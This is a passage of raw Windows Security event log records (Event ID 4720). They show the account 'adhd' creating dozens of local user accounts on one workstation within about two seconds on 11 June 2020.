Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joyce - adhd - - - 4720 - 5119 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.3313157Z'/><EventRecordID>5119</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jerry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1179</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jerry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jerry - adhd - - - 4720 - 5113 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.2428488Z'/><EventRecordID>5113</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Dennis</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1178</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Dennis</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Dennis - adhd - - - 4720 - 5107 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.1265962Z'/><EventRecordID>5107</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jack</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1177</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jack</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jack - adhd - - - 4720 - 5101 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.0270837Z'/><EventRecordID>5101</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gregory</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1176</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gregory</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gregory - adhd - - - 4720 - 5095 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.9266630Z'/><EventRecordID>5095</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christopher</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1175</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christopher</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christopher - adhd - - - 4720 - 5089 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.8393780Z'/><EventRecordID>5089</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Michael</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1174</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Michael</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Michael - adhd - - - 4720 - 5083 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.7428973Z'/><EventRecordID>5083</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Arthur</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1173</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Arthur</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Arthur - adhd - - - 4720 - 5077 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.6567254Z'/><EventRecordID>5077</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ann</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1172</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ann</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ann - adhd - - - 4720 - 5071 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.5293933Z'/><EventRecordID>5071</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Natalie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1171</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Natalie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Natalie - adhd - - - 4720 - 5065 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.4483983Z'/><EventRecordID>5065</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Cynthia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1170</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Cynthia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Cynthia - adhd - - - 4720 - 5059 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.3632258Z'/><EventRecordID>5059</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Noah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1169</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Noah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Noah - adhd - - - 4720 - 5053 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.2646391Z'/><EventRecordID>5053</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Terry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1168</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Terry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Terry - adhd - - - 4720 - 5047 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.1372085Z'/><EventRecordID>5047</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Virginia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1167</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Virginia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Virginia - adhd - - - 4720 - 5041 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.0651414Z'/><EventRecordID>5041</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gary</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1166</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gary</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gary - adhd - - - 4720 - 5035 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.9590175Z'/><EventRecordID>5035</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Denise</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1165</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Denise</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Denise - adhd - - - 4720 - 5029 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.8851120Z'/><EventRecordID>5029</EventRecordID><Correlation 